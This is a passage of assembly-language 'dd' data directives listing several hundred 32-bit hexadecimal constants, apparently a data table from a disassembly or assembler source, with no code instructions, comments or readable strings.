		dd 0D621D7A4h, 9CE4EF02h, 0C5AECADAh, 5CA02498h, 1300BB46h
		dd 6D6024Dh, 0B612A5FEh, 0D01EAC62h, 0C4F83440h, 1365B14h
		dd 0F920ABC2h, 68B3A349h, 8C47BC68h, 0ADD73F01h, 91630120h
		dd 91492CE8h, 0B1297F0h, 14454EA9h, 6E6025E4h, 430B4C0Dh
		dd 98A31D50h, 403B8FF8h, 0E002AAA9h, 0F1660A32h, 67CCE25Fh
		dd 60B74404h, 5CE86Bh, 0EC484487h, 9E653922h, 346F8D0Ch
		dd 3E27D038h, 84CA3BBh,	892625A0h, 0A02FDA29h, 8A1848D1h
		dd 58191500h, 14A0E6D1h, 0CF479A1h, 57C31B05h, 9F7B9171h
		dd 932B5640h, 628909CCh, 8079C81Ah, 81180579h, 333B3904h
		dd 7C85E89Bh, 784BE82Dh, 26C0BB88h, 0FCAF02h, 84506A5Ch
		dd 312A54EBh, 29591E65h, 0E0BD1070h, 0FB5B0339h, 8D24520Dh
		dd 0B2AA6BA0h, 3C20DD4Bh, 7D8FBB18h, 4418269h, 872187Eh
		dd 0E3B3C0F1h, 6FED70h,	0BB9E4F1h, 80185CCEh, 503C1916h
		dd 67B7C430h, 1CE89CCFh, 5431012Ch, 0A4209E93h,	8E0F1820h
		dd 0E0C052C7h, 0B1B2EF25h, 2B0378D8h, 46130E86h, 8B40227Ch
		dd 7FB7600Ah, 78C2A778h, 0E62E2380h, 88885C0Ch,	0B248F11h
		dd 1F600CB7h, 8EB211E0h, 33F20CCh, 1CE5A94Ah, 407FDA2Ah
		dd 5FAAE8C8h, 7518E2C4h, 32B10B17h, 855D2CEAh, 793A00ACh
		dd 0B2C37E31h, 65C07D00h
		dd 7F3DFB66h, 591424B7h, 4502DEC0h, 12AB6016h, 13A441C3h
		dd 27B85468h, 1BDF138Ch, 53DC04E5h, 5A1700A5h, 2EA2109Dh
		dd 9230CF54h, 231C3B98h, 9FDF0029h, 4C3CB3A4h, 962A240Eh
		dd 983D876Ah, 9D296Ch, 677BF259h, 6CB67E85h, 88CD4713h
		dd 0C0818008h, 0B3BDF175h, 26227B46h, 0F16EF805h, 7CB05F23h
		dd 5C795687h, 42A170F1h, 340AEE80h, 90CCAF0Bh, 40042F08h
		dd 78880D52h, 4E700015h, 0C0FAE430h, 68076059h,	52CF8F7Eh
		dd 5B34FE82h, 0D8D871E4h, 49EB301h, 0E02465Ch, 49CD3E54h
		dd 0FA0480A8h, 0BE39AFh, 0C0E62E5h, 26CBE31Fh, 0B713B0B2h
		dd 388E59ACh, 59C0B2C8h, 17F04665h, 461D087Ah, 0B1191694h
		dd 0CABBD1Ch, 0EC8004E4h, 0A9266772h, 9E6F7A9Bh, 0ADEA1CA0h
		dd 2B8D04A2h, 8007111Fh, 9C54C29Fh, 0F5600AFh, 0A1AE30A0h
		dd 0A8B46F3Ch, 91A49727h, 7E4A8049h, 0EABB33E0h, 9F3B0594h
		dd 6F2A1911h, 0DDF80154h, 0B87F4F1Dh, 0C3C06461h, 87700196h
		dd 9A70CBBh, 5041F50Ah,	37E325B4h, 0D82A51h, 0FF085D9Ch
		dd 7E383CEDh, 9CA9F4B9h, 94184E71h, 0B8304A00h,	0BCE95FC1h
		dd 7498B82Bh, 359CB2CBh, 3A61C031h, 2523A8h, 8034EBA2h
		dd 59001DD6h, 0AF849C24h, 1B0BDE8h, 905AB362h, 521934B9h
		dd 3CFA31A0h, 0CA72003h, 8D17C9DEh, 0DCCF1C84h,	0B4CC0288h
		dd 0D3B60A14h, 6BA0B751h, 0B711C49Fh, 0FEB5A280h, 1AC20D2Ch
		dd 62A6FB5Fh, 190D114h,	0ADE8403Bh, 0EE43FE08h,	15C202E0h
		dd 0D101677Fh, 7FBB98C0h, 846D21EBh, 0AE88B10h,	8A2DF5AFh
		dd 0A02748A4h, 918C94ACh, 2AB90B81h, 0E0C15E84h, 80C9AE7Dh
		dd 1B3465Eh, 5E94D26Bh,	449630E4h, 0B2E841F7h, 82F40FA4h
		dd 36937E90h, 0E0DCEDBEh, 6AC0CAC5h, 0A3A94300h, 0A212714h
		dd 8997E7B5h, 0EA15FEC5h, 23A91038h, 161FBD05h,	80E45D10h
		dd 0DD9D5D92h, 8200EB08h, 7563E5ADh, 2453213Fh,	0F01BDBh
		dd 28FA368Ch, 0BCE7ABB3h, 0AAFB0050h, 541D2BE5h, 0A4799806h
		dd 83F030h, 63BA8723h, 0C7B493F3h, 290A5003h, 5F2D17B3h
		dd 0B0841440h, 3F8C27F8h, 2F3ACE5Dh, 13F4CB29h,	23443A5Eh
		dd 9010004Bh, 0BA15F895h, 9399EA00h, 5F8C9B70h,	0E33D0FB0h
		dd 1FD21660h, 0BED5024h, 45982194h, 60B6E480h, 0A68E78h
		dd 0CE077F6Fh, 6C6CD80h, 744648B0h, 8C5F0C07h, 0C465EB93h
		dd 5EE4D880h, 7406097h,	94CB2398h, 6C402F6Fh, 56FCB790h
		dd 18AFA918h, 0B1C71F51h, 4668280Ch, 448E4BC9h,	1000B123h
		dd 1D6F468Eh, 8054949Fh, 0D5FE93ECh, 28BE199Eh,	83FC9F40h
		dd 5BD10998h, 0A01D2A6Ah, 0D080B611h, 3F26C8D8h, 0E6B9D701h
		dd 0B29E01B4h, 0E86B2Ah, 0D4D6E306h, 124911D0h,	20973DB6h
		dd 0DB5CB240h, 12ECE950h, 0C899AC70h, 61185179h, 0F5869600h
		dd 626344E0h, 746C0035h, 0D64DB5C4h, 0BA1A098Fh, 0E5E030EDh
		dd 60B4E498h, 0B8E2A144h, 0C00A27E8h, 22170041h, 46AD03E4h
		dd 0E0F66BEBh, 99AFE6Fh, 0F0B5358Ah, 7826E879h,	12588B08h
		dd 9860A431h, 0F008FECh, 83EF728Dh, 48F1268Eh, 3BC48B2h
		dd 0F716008Ch, 0DEEE34Eh, 0A797A48Dh, 4DA4C3FCh, 0B2E4F275h
		dd 0D58E3049h, 0CEF35901h, 7FA145DEh, 58EC7821h, 0B5012B9h
		dd 23A43BC7h, 0BB950107h, 4B866BFEh, 0C005887Ch, 0F2418804h
		dd 8D923D12h, 9E1320F0h, 29465C38h, 5359F504h, 0E788A003h
		dd 60321144h, 2D932935h, 0B001F8CAh, 0C78DE9CEh, 492A451Ch
		dd 0B8095B98h, 3A4C37h,	0AEF87C93h, 48210935h, 0B101845h
		dd 630D7537h, 91A8B4AAh, 69B8A47Dh, 291D520Ah, 10ADEC3Dh
		dd 4B3B00h, 986479C9h, 0F2CBAFD2h, 43BA8117h, 26C898CBh
		dd 28A485C0h, 1D234FC3h, 0AE6B9D60h, 3F8C17ECh,	2323BCh
		dd 6CEF073Ch, 535954D5h, 861084ECh, 0B6E254F2h,	0FCE3730h
		dd 0FC0C8ED3h, 2881D900h, 585B7FCBh, 5F9C7C44h,	0CC24C509h
		dd 5EE3606Fh, 0DE932587h, 0D980FC45h, 0DD605EDBh, 91224B46h
		dd 5188A58h, 4823C43Ah,	34C0B51Dh, 7220159Ah, 48CFECB3h
		dd 0EC075811h, 27DE3FCCh, 841F9931h, 75825191h,	95C0D271h
		dd 0CD0997D7h, 0E82C1DA9h, 9058B948h, 1F85460Ch, 0B349F179h
		dd 65A4519Bh, 0F01CF4h,	7F022DA9h, 0E314C68Bh, 0CB434FBh
		dd 611DB60Fh, 8E1F0425h, 0AC062679h, 8C03BC90h,	8F7B623Ch
		dd 0A27FEBA6h, 0C4933DDCh, 9A1C2838h, 97F50964h, 2000B8EBh
		dd 0A1BED0A8h, 50C46CA5h, 0AEAFA560h, 0FF2C6600h, 0C8134A71h
		dd 9210B4D8h, 0B82404EEh, 0BAA90552h, 0AC186819h, 0B09F06EAh
		dd 4A1338BCh, 0B80F3843h, 2B1186Eh, 7DBCB93Bh, 44EA9600h
		dd 25FC6AB7h, 63293D21h, 807C9B81h, 0D44FDB93h,	0AB97982Dh
		dd 11F41D3Ch, 54CE8023h, 7CAED88h, 26AF0E02h, 0E5AB0028h
		dd 3444A21Dh, 9F672DB9h, 90D99829h, 0E47C4527h,	80FC6045h
		dd 0AA820ABEh, 85941BBAh, 0F4251D22h, 984A3DA8h, 6086FC92h
		dd 813BDB34h, 2C84751Fh, 8CB8ECFCh, 8FE1300h, 1751B601h
		dd 0E89F2D94h, 0B92AF480h, 0A412B340h, 80E40CC7h, 30AD4347h
		dd 8993990Eh, 0B1B66008h, 8C1F5E80h, 0CB33402h,	0C18E0D2Ch
		dd 8400531Ch, 36615225h, 1DFC95D8h, 50ECCC28h, 867E038Ch
		dd 0A8E41009h, 9F93C588h, 841DB84Fh, 97B32DC9h,	80019160h
		dd 0FBD522ADh, 6D0900FCh, 0E0987C8Ch, 6013CB2Ch, 9444B994h
		dd 2D003940h, 800ACA7Eh, 1DBB8F0Bh, 2AF884CFh, 7E77E341h
		dd 34E842B8h, 2881302Dh, 5B14C088h, 2F7D606Fh, 66049095h
		dd 97E50059h, 65B3D6DDh, 8008DABh, 14AAB87Fh, 76A8D3ECh
		dd 16BE0DCFh, 2D58631Bh, 1A8E8ACh, 0C9BC0E71h, 6CC4B3B4h
		dd 0C8908AC4h, 8C1BDB40h, 0A8760B8Dh, 0B0AECBB3h, 0F3052B64h
		dd 3008A2A0h, 1758974Bh, 8CB2E864h, 0E786E407h,	0AF200482h
		dd 9303A3Eh, 1A378992h,	9060A4CFh, 0F954B1B2h, 0B5BC5C2Ch
		dd 0EF78B58Ch, 0E3D1402Eh, 9D1DD405h, 6708E4F2h, 2012B8E7h
		dd 867CF0A0h, 54359Fh, 4A085A7Fh, 56044688h, 5C9F21B9h
		dd 1713E8A9h, 0CB98F40Ch, 217FB100h, 46C4D98Eh,	0DF2F01D4h
		dd 97683756h, 0F8242A14h, 0EDB824ADh, 0C0D45324h, 0C5C203Fh
		dd 32341519h, 470023B1h, 0BD35D9Bh, 1FE53ED4h, 0C4F48A26h
		dd 9060B125h, 0DFC50F98h, 3EF52F58h, 19683028h,	0DF57B99Bh
		dd 0E58D8271h, 0F4D45E6Ah, 7D4A465Eh, 9A7FF801h, 0B93DD129h
		dd 9F101078h, 3CB20BB6h, 761CC2D3h, 300DC48h, 54B3743Ah
		dd 3B5018A3h, 933D5924h, 0B52DDE50h, 3B00EC37h,	5ADD73F7h
		dd 306C7EA2h, 2921AF93h, 4B00C79Ch, 70AE8847h, 0C979E7h
		dd 6D7368E3h, 3C3253Dh,	5CC0545Ah, 40CD26Ch, 0EF26EA37h
		dd 0E2ACA2B2h, 88AE3003h, 19636100h, 57393DE8h,	0B1772D65h
		dd 0D44B8027h, 0C16CBC50h, 802636Bh, 0A089D4h, 95F16223h
		dd 0F4407CEAh, 2D673D09h, 89190D79h, 330A942Ch,	76C45202h
		dd 68004946h, 0F1D327E9h, 4D189FF5h, 42213807h,	4F700098h
		dd 0A2DAB65Eh, 9F139EECh, 60F01BA4h, 0DFFA84h, 0CF5B2DBh
		dd 6A7EED30h, 0C8934902h, 5BBE10A1h, 0EC6A70DCh, 3CBCB8B8h
		dd 19C4DC40h, 0DE7D00A4h, 2DD0B595h, 5CB01237h,	67EB2712h
		dd 760BC0B2h, 44E1FF17h, 98918CBh, 8A291155h, 0DD004C9Ch
		dd 6F125581h, 0F2DB8DC0h, 0B93709FFh, 0DC9D335Fh, 0EC800411h
		dd 84C9F4E3h, 421FF95Ch, 801307ACh, 5F63195Bh, 0C5FBD854h
		dd 9DA2B8DAh, 98E59809h
		dd 5E604AE4h, 1102F85Fh, 5B241793h, 9BC0E01Dh, 34B280AFh
		dd 2506CF21h, 24E494C5h, 87EFF360h, 70136F05h, 0A8C84078h
		dd 0F8F9045Fh, 0A82DD19Bh, 3C3A921Ch, 25024523h, 0F4E2D3F0h
		dd 891E84h, 3C9FBC0Ch, 4C3E8AE5h, 7D9B0024h, 6919A8CCh
		dd 0C3E31726h, 0CDF0DC48h, 50A7EB18h, 0ED6B3118h, 4095C896h
		dd 0AF7B2D24h, 91F172Fh, 0AC18184Ch, 727D19h, 4BFBFF0Bh
		dd 0DCA26AA9h, 0A4C6E401h, 0AA176531h, 0A10FA841h, 72B7CC28h
		dd 912F2F6Fh, 0AD164B00h, 41D6B948h, 48835B3Eh,	8C8D38FCh
		dd 0B03CF8CFh, 0EFE31027h, 0B099383Eh, 0B984491Fh, 0F5210522h
		dd 8FC4953Dh, 0C026C884h, 2F80118Fh, 0B2878516h, 5E283CB4h
		dd 32E420BCh, 0A83DDC59h, 42440003h, 1686215Bh,	0EAF50035h
		dd 958D068Eh, 155F636Fh, 0A43BCC23h, 0DB59007Bh, 943BAD19h
		dd 74D0025Fh, 0AB17150Fh, 0C7841CD6h, 610B48A0h, 0F1951A05h
		dd 0BC3E3FA4h, 32A4377h, 15E34F0Ch, 0EB06A81Fh,	433330B1h
		dd 7533A99h, 0F50208BEh, 41027697h, 745E2D14h, 0FB55C080h
		dd 9A005A32h, 69358D26h, 442EC81h, 43CB2CEBh, 0B900851Ch
		dd 106B80Ch, 5274F816h,	6F806F93h, 519F6801h, 0EE402C1Fh
		dd 606CA014h, 0BA84183Eh, 9E4B1D3Dh, 0E785D834h, 0E9870C0Bh
		dd 0A512E4B8h, 2D20A841h, 61CF7CA8h, 19538C25h,	78B61019h
		dd 0C26A254Fh, 5E145EFCh, 7D03B546h, 64AAAE02h,	39A29CE0h
		dd 0EF535B17h, 364BD844h, 5CA1C900h, 0B9D011Fh,	8484000Ch
		dd 0BC83DAECh, 5CF42E4Ch, 38000446h, 42E62160h,	0FE121CDFh
		dd 306EB29Fh, 410B8800h, 0C6839727h, 0B69C8702h, 825D156Ch
		dd 14584D0h, 0C240E4A9h, 19587CD3h, 644F019Ah, 1750454Dh
		dd 57C98014h, 8FB7751h,	12D9F8BEh, 8F2170FDh, 0C1AE885Ch
		dd 0D2B91B88h, 22115497h, 70793881h, 14D4F4A8h,	0BF655109h
		dd 6A3405C4h, 2E4EB0ECh, 223E8h, 9455ADB2h, 0C7139350h
		dd 9C9047C8h, 17270A3Bh, 804B5BBBh, 8F61A170h, 8562ED12h
		dd 0B88878CBh, 5CF07FC0h, 816507AFh, 6893CAE6h,	0BC807145h
		dd 3D3C099h, 172C6432h,	9EA8B05Fh, 7E007A5Ah, 51BE4E93h
		dd 0B21E7F5Dh, 0E75417C8h, 2904A7F3h, 7900D492h, 0F0015A27h
		dd 14B90E05h, 46E00CA1h, 0E3E2E784h, 37E68050h,	0E43BC04Fh
		dd 1F072523h, 3D10FA36h, 0BEF354A1h, 50DE1AB8h,	0FC59F0D3h
		dd 8B64C0C2h, 74828239h, 40053F4h, 17ABB69Eh, 0F3D54112h
		dd 3145B20Ch, 0A6BD0F7h, 25B98217h, 587310F4h, 4EF88C1Dh
		dd 94A80F8Ch, 4CC0D440h, 7AE05C1Ch, 0CBC4909Fh,	8BA80082h
		dd 0CCC7C985h, 6F12EBE4h, 0E0724B34h, 0F17B3083h, 8BB3BF10h
		dd 0F174F6E0h, 0CAD3DC0Fh, 291BC1B1h, 0D42720B9h, 23AC2B4Bh
		dd 81B429B8h, 0A1B69B7Bh, 68047F18h, 24902027h,	5E8171FDh
		dd 19F84007h, 79BD9476h, 22DD4300h, 36B06247h, 3AE1055Eh
		dd 0FCBB8712h, 0E8B44C84h, 2B4308h, 71931430h, 3018C4EDh
		dd 27888588h, 1D95B726h, 804B913Ch, 6CEE6104h, 6ADEEA54h
		dd 5F030A1h, 0EC47E326h, 0CCC2292Ch, 4B1822D1h,	4CDEC400h
		dd 6C6E2DAh, 37B32E0Ah,	8C6DADC8h, 1FC0D4C4h, 912EC79h
		dd 42C2BE51h, 81872185h, 7CC40ACAh, 6D2D2504h, 0F586C0CCh
		dd 0C0002528h, 0D96FAC8Ch, 9447EB26h, 6B9B0250h, 747A161Fh
		dd 0B65E7A00h, 0A28EEE9Ah, 0FB7BF8h, 708597CDh,	0B3234DD6h
		dd 0E1075C25h, 0DC208D34h, 5F9F7362h, 0D8B4C7F1h, 84209293h
		dd 0E6E117h, 0E7CA3B4Ch, 0C5B01340h, 0ABFB5E0Fh, 1CA1D286h
		dd 2488C80Eh, 0F839FBC0h, 659B00CDh, 0DB09F925h, 140BEF11h
		dd 0A0D59E1Ch, 700D8ECCh, 1004B7B8h, 0D204A87Fh, 0B1E068E6h
		dd 0B708FC0Eh, 7AD378Fh, 0F92B5CB2h, 8D899480h,	345BDC6Fh
		dd 0D0A3A412h, 843008A2h, 81FE047Dh, 820E66EDh,	0C54E0D4h
		dd 486567h, 5C6B12EDh, 0DB4B3161h, 706B0425h, 5DA8F000h
		dd 287EE6AFh, 2197BB13h, 5EA4D822h, 0A8251248h,	8C01E810h
		dd 0F29EBC03h, 0D0CA243Bh, 28DF126h, 952F7F62h,	0A480B077h
		dd 0DBB3630Ah, 0E50BF4BEh, 0B2DD8455h, 0E0ACB8BDh, 0DFE12D0Fh
		dd 269E203Dh, 5F2C8DEEh, 0D59C38A0h, 0B2F9B099h, 211C7618h
		dd 0AA57EBD2h, 199D8C8h, 9C66FE65h, 8B31B15h, 0F9AB3AB8h
		dd 0F11D2517h, 0F86A2EF0h, 51004043h, 2CE37428h, 0FF2FEBCEh
		dd 2A70B935h, 44BCBC38h, 8AC6008Ch, 3FA4B338h, 245C520Fh
		dd 0BDC71058h, 0DCDC1324h, 6660200h, 800CC86Ch,	0EB7D1759h
		dd 537470B3h, 7E1F133Dh, 9FC9BC76h, 7FA82348h, 760F92B7h
		dd 881C1724h, 5F5BB910h, 0C6FF490h, 0F14BEE96h,	906DF6F1h
		dd 74E4A02Fh, 8C4244h, 0E9194B85h, 9DED6D05h, 0D99E0D00h
		dd 1F64E095h, 7C6812A6h, 6F380401h, 9FCCE048h, 0E07D1504h
		dd 0F09B8BEEh, 61DB4AC7h, 3B77E3C6h, 0B70FD403h, 7AA10FBDh
		dd 0F9E04AAFh, 75E9EA47h, 0B39B906h, 0B93F09h, 0E632FF40h
		dd 363CEC71h, 0E7C2A00h, 0F031A792h, 9BEA07C8h,	10326E74h
		dd 0C149F53h, 62BD2403h, 1212B631h, 20A01D44h, 855F3D08h
		dd 11360837h, 0BCCA86E0h, 5881041Bh, 0E8993D9Bh, 0D32C82C4h
		dd 0AD1605F5h, 757A01FCh, 88543CF2h, 0F6C441D0h, 0A3EC30h
		dd 92DBCA89h, 0AFF5A0C2h, 5F26191Ch, 98C79640h,	25270CA5h
		dd 0F817B2EFh, 0EB830711h, 81F4491Eh, 6EB78700h, 248E8875h
		dd 0D6C34A88h, 0A0BEB8ABh, 0A6B00B26h, 0C8681747h, 880056F4h
		dd 8265F833h, 7678DFF9h, 5A49134Dh, 0E010F67Ch,	87293EEh
		dd 42DEE3E6h, 7190260Bh, 0C30B3CDCh, 24F03C47h,	0C92120C0h
		dd 4ABE0EA1h, 0B30CB6B2h, 7673F0D3h, 22B170FEh,	45003C08h
		dd 160D8804h, 3646A5Ah,	0FABED38Ch, 990AA256h, 0B0A693BFh
		dd 0A529D580h, 53B1170h, 30E36CEDh, 0BC104020h,	0C8477CCBh
		dd 0E99B2302h, 0C2A00AEBh, 0B81755F8h, 90814991h, 0C095D69Eh
		dd 384C5B6Ch, 0C0B42498h, 0A9E009DCh, 94720901h, 350A5C00h
		dd 4C597492h, 8DF7003Eh, 8F8BAB54h, 22263DB7h, 0E305DAFFh
		dd 0A0D13B93h, 6E2F246Ah, 0B21400CCh, 0DD062A52h, 0A8932AFFh
		dd 0E30A0098h, 5BDAB3B0h, 9F2F8A32h, 0CB842016h, 0CC07E1h
		dd 61B51BEFh, 0AF83EE14h, 0DDD7D80Fh, 9A891CEAh, 8CF040F8h
		dd 23B315C8h, 4ABC9052h, 85518AEEh, 42E2BB0h, 0ED010723h
		dd 989D08ABh, 433C6C38h, 9505FFC0h, 61B1A01h, 0B00EA6ABh
		dd 7F108712h, 95891FB9h, 8D4CF055h, 9DB0B79Dh, 0A7FD6BEDh
		dd 0A8014BACh, 0C1ED5C26h, 1EC5B58Bh, 0D3FF5A80h, 0E5B3D781h
		dd 8510C361h, 97FA2B0Dh, 801C9135h, 4363C5AFh, 71D00075h
		dd 0E9F532BDh, 24D608E1h, 0ACCD98BAh, 55D6F46Bh, 19C4B445h
		dd 0D3E0AF65h, 81E21D3Ah, 0BA09D8BDh, 26C107D0h, 12A860Fh
		dd 17750CADh, 8515111Eh, 9804FC57h, 0F0210B1h, 73D50B80h
		dd 6EDD00F2h, 5301CB7Bh, 0E19D8B0Ch, 182B2E0Bh,	0C12A9BDh
		dd 0B3E1E381h, 7365188Dh, 0FDB0D25h, 6A4D9D85h,	1CB8EBB8h
		dd 9F51018Ch, 3D1D708Eh, 83A43074h, 0F24ABD14h,	848540AFh
		dd 3BFF515Ah, 152387h, 8D898E98h, 0B8C52EA9h, 593B71E9h
		dd 0F001923h, 6E49C093h, 0DAB1A32Fh, 0F9C20E32h, 5E8885C7h
		dd 2463B899h, 7D2A300Dh, 0A5200B33h, 0D11B8419h, 0DEECFB1Ch
		dd 0CE7CBB7Dh, 5A2370Ah, 836FEA8Dh, 97FEFF23h, 0DB8C6630h
		dd 0BD891560h, 8B098CDDh, 0A1207D8Dh, 4C3F661h,	147CBFA1h
		dd 2D05FE0Dh, 43451820h
		dd 301CE20Ch, 1A00CF38h, 0B33186FDh, 666CE0Eh, 0E81684BFh
		dd 1002B07h, 0E50CF554h, 0A0667D3Eh, 0B5905FB1h, 4E80035Ch
		dd 257249CCh, 2491000Ah, 52C88B4Bh, 76B5505Bh, 97A480E7h
		dd 64E0AC5Ch, 1E0086E0h, 0FB0CC3ADh, 644656F7h,	4008547Dh
		dd 0D65B1740h, 4ED81F91h, 4D14A3Ch, 18467CCAh, 0A3FC6930h
		dd 6AE1B021h, 0E3AC7FBDh, 0FE55FD00h, 0B41A749Bh, 0F570093h
		dd 70E6F0B7h, 2FC013E9h, 0C837B3A8h, 3696005Eh,	804E94DBh
		dd 0B1006393h, 7EF057B7h, 9371E43Ah, 712B7930h,	0CCD00818h
		dd 0B8806D00h, 0F98C78Bh, 0BAD85AB6h, 0C500636Bh, 91715C6Ah
		dd 39245FA1h, 0E10007F5h, 55B58933h, 48359024h,	0EA9690BAh
		dd 63C3CC9Ah, 41F7D9B5h, 43FB531Fh, 0C6C0F6A1h,	0C005FE90h
		dd 0C5B50964h, 0C38B5E90h, 0FBE85AC1h, 0FF39476Eh, 0F1FBA601h
		dd 250AF920h, 7606BD60h, 0C2E2F729h, 0E61816D1h, 3B133Fh
		dd 0BA946CCFh, 0B1D82B28h, 1815D17Ah, 31DD06F9h, 0F42939BDh
		dd 93FA9EC0h, 0FB0F5250h, 8B028CC8h, 585AF0E8h,	0F21660FDh
		dd 0B5935E2Ch, 0F5C800DEh, 0B84DA818h, 436213CEh, 0C4B5FF76h
		dd 0BE74B584h, 0C7B801D6h, 0B99D897Fh, 1654322Ah, 0CEBF2205h
		dd 0C01A8829h, 0A621C810h, 95CFB90Eh, 786F13B0h, 0E200F53Ch
		dd 0F1E7164Fh, 4AB0E874h, 0A2325920h, 446F67E3h, 31956016h
		dd 99E99060h, 181AD167h, 705B38A9h, 9F7B1205h, 0C44C8760h
		dd 0E07141Bh, 423C61FEh, 4B4D830Fh, 0E8EB106h, 3604781h
		dd 2407398Dh, 0D52CBD9Ah, 9A42228h, 0DC82A4B9h,	0C508E74Ah
		dd 3609E618h, 0C3430364h, 1988B88Eh, 5F101DC0h,	0A4B12EDEh
		dd 0E0426071h, 43246F5Ah, 6682E7E1h, 4A187DBEh,	35F3D5C2h
		dd 0DC7F885Bh, 198E12A6h, 0BEC016A1h, 0B9CB7A9Ah, 63CE6618h
		dd 0F6818200h, 822255Ah, 0EE4B1219h, 9502054Fh,	6ECB58C1h
		dd 8638880Fh, 0EC484801h, 1E028C19h, 55F17664h,	2097985Ah
		dd 1DDA0429h, 0C9B97DEFh, 51C620F4h, 0C183A316h, 5100617Ah
		dd 37165F58h, 0FB18C055h, 9D586D1Bh, 48DEB58Dh,	709C5FADh
		dd 377251Eh, 860FD982h,	0F18D5109h, 0D7181Ch, 8E7EDC37h
		dd 20DEEC21h, 0D94887B8h, 1D3510C8h, 4BC1F617h,	0C89FAC7Fh
		dd 9F1D91h, 69A05F52h, 7E390572h, 0A49E5CF5h, 0A9C0A09Ah
		dd 995E555Dh, 0D5438300h, 0F605B75h, 0D6998Dh, 858BC38Ah
		dd 0C69221E9h, 56582B79h, 0C0CD3C70h, 343D125Fh, 3738D308h
		dd 0F1483D6Fh, 0DBD0B06h, 0E9383014h, 0EC39494Dh, 2D220028h
		dd 66CF10ADh, 0FC0BE781h, 75C08BD1h, 7260C46Dh,	98D3B71Dh
		dd 1A19D34Dh, 0C79DF852h, 19801B91h, 859448E6h,	9623110Eh
		dd 0ED9A6C7h, 0CF9B13FEh, 560AAA9Ah, 0BCB5A18Dh, 0BBC76204h
		dd 8586E3B3h, 57596310h, 51FF3D9Ah, 614C8814h, 527F2618h
		dd 0F97E59DDh, 21DE30F5h, 0E57D1758h, 0F04FE3AEh, 98BFD70Eh
		dd 69920E9h, 0AA20564Ah, 314DC3h, 3664DE08h, 3893449h
		dd 0D7130200h, 5EF0C5EAh, 0C465A590h, 4EE1601Bh, 3BA5024Bh
		dd 539352F0h, 0CF951DDh, 0AE2F05E8h, 0FBEEFF0Fh, 80865479h
		dd 4EC3A787h, 26F235h, 83157B80h, 401CB31Fh, 8245761Eh
		dd 815E2201h, 0E2FC19D6h, 0BB5FEE04h, 0AFDA78F3h, 4F3FDB03h
		dd 26C99D8Dh, 0AB2311AAh, 274A7843h, 0CC9BF02h,	97584719h
		dd 801A1123h, 0F0A57E35h, 0EB1E179Ch, 230F3AF9h, 0D08A001Dh
		dd 2CAF95FCh, 8356FA02h, 0DD9D29D6h, 0A196E370h, 0CC802DCh
		dd 2864884Eh, 0C2C53041h, 0F749E900h, 6E2CE3FFh, 21224548h
		dd 5F40E84Fh, 3BD8D4C4h, 57300E5h, 17339655h, 9500CEBEh
		dd 6CBF7B74h, 0A01A630Ah, 0B9A1BDDEh, 6FC1172Dh, 29E600DEh
		dd 0FA1ABA90h, 96E07F34h, 0ECDB40B9h, 3900D7B8h, 7147783Dh
		dd 3E19FEAh, 0F8092D86h, 0EBD9CAA5h, 1C31B804h,	6B2B880Fh
		dd 0A45AE00h, 57038B1h,	673D007h, 47CD8C29h, 63666006h
		dd 0A1D8405Ah, 8D001FF5h, 2494ED85h, 0D9B5772Dh, 0B0D30782h
		dd 45C682B3h, 8640A12h,	501D19D1h, 842404CBh, 2ACCB5D4h
		dd 0BE06C0FCh, 55820130h, 0FF8F8AC1h, 1376061Eh, 0CD3A93F0h
		dd 9EED7301h, 59960B18h, 16F98970h, 0FA623FE5h,	12BFDCC8h
		dd 0FAD28CEh, 0BE76C0F0h, 0C2C02BDAh, 78DB1A25h, 0E790FC26h
		dd 50592B07h, 9247BE57h, 119F9DA9h, 53888515h, 0BB08F508h
		dd 43CF802Ch, 565B6160h, 0A7E6BBEh, 0A8F0FD2h, 58609E2Ch
		dd 143FC86Eh, 0A924F852h, 0BA3BF701h, 0ABB68F13h, 88790F70h
		dd 0BCC0D3E0h, 9635E912h, 1D3E8580h, 2F5F67ABh,	0F197E6Fh
		dd 19F3089h, 66A6EEB6h,	0AD305D08h, 3073EE12h, 59759873h
		dd 4BBB0197h, 0E927C2F0h, 0E1ED6CAEh, 2809FF99h, 8C1AACC8h
		dd 34E09C01h, 0C918BC96h, 16077370h, 0CF7E4F9Bh, 247022F4h
		dd 40AFB523h, 17459D8Bh, 17F107B9h, 5216E118h, 0DFCCF63Ah
		dd 7D951189h, 82C2882Fh, 0FDC8BD83h, 77CBBBD9h,	1AE00E47h
		dd 5E0C034h, 47351328h,	0BEB88024h, 0E9F408DCh,	4D2FB669h
		dd 9D8C09Ch, 0E5B2185h,	2F5EA050h, 80473D01h, 802F507Ch
		dd 0CE0558EAh, 61E9A473h, 0B208E3AFh, 0EB1F301Dh, 0C4878600h
		dd 0CD53D9F7h, 60899CF2h, 29059D09h, 68E164ACh,	8C18F875h
		dd 39309B1Ch, 0EA0B7793h, 890F2E8Dh, 7F2B0B9Dh,	21E1974Dh
		dd 70E8CF8Dh, 0F5C1A03Eh, 0E22EBC1Ch, 60898A0Fh, 2D65E188h
		dd 74AB3A8Ah, 0B9021846h, 933055A7h, 0D038D160h, 8B4450BCh
		dd 1AAC9D52h, 1B94C0FFh, 20C9754h, 227F298Fh, 0E5200FE8h
		dd 193BACh, 0CB2B9FD4h,	0ECA5251h, 1DB74709h, 0CCC4985Eh
		dd 225A3E35h, 0A6EA0F7Fh, 4DE113FCh, 60F03C6Fh,	336BBE32h
		dd 50E877D8h, 14001D91h, 2608290Eh, 5B1AD93Ch, 0B06BFB90h
		dd 89E5E26h, 212C2961h,	37A53E2Ch, 0B0D10E2Bh, 8093DB13h
		dd 95075B56h, 0AEC609B8h, 1F688B0Fh, 0BC00CE9h,	0BFFA271Fh
		dd 83B900A2h, 0B78B4823h, 703BE601h, 0E4F70966h, 69630271h
		dd 2BE10907h, 62983157h, 105F2D51h, 5B8BFC27h, 0B86BFEC3h
		dd 11D2C02h, 0DADF3CADh, 0D0EFF515h, 0B41F2Eh, 0B0C73346h
		dd 9AEA8A67h, 113E5F5Eh, 4D341623h, 0F61B44F1h,	93742DCEh
		dd 0B5EF801h, 692A11BDh, 0BE965012h, 5009B8FCh,	440B830Fh
		dd 0BE054440h, 0DB263704h, 0AFA9934Eh, 7B3F78B8h, 8205B0Fh
		dd 41D58D29h, 0B2393118h, 0D8610C1Ch, 323D202Fh, 0E985330Dh
		dd 802C1D0Bh, 324C12D3h, 59128E21h, 93299D6Ah, 513F5475h
		dd 5BD91150h, 89A74212h, 766AE585h, 0ED5F218Bh,	39F86088h
